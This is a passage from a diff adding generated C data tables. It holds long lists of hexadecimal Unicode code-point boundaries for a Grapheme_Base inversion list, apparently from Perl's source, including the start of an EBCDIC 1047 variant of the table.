+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC41,
+	0xC45,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC81,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDD0,
+	0xDD2,
+	0xDD8,
+	0xDDF,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3F,
+	0xE47,
+	0xE4F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1360,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1E,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B4C,
+	0x1B50,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1BFC,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x302A,
+	0x3030,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C4,
+	0xA8CE,
+	0xA8DA,
+	0xA8F2,
+	0xA8FE,
+	0xA900,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E5,
+	0xA9E6,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11177,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112F0,
+	0x112FA,
+	0x11302,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x11600,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF5,
+	0x16AF6,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16E,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GRBASE_invlist[] = { /* for EBCDIC 1047 */
+	1583,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70E,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x830,
+	0x83F,
+	0x840,
+	0x859,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E6,
+	0x9FE,
+	0xA03,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA41,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA83,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC1,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xAFA,
+	0xB02,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB78,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC41,
+	0xC45,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC81,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
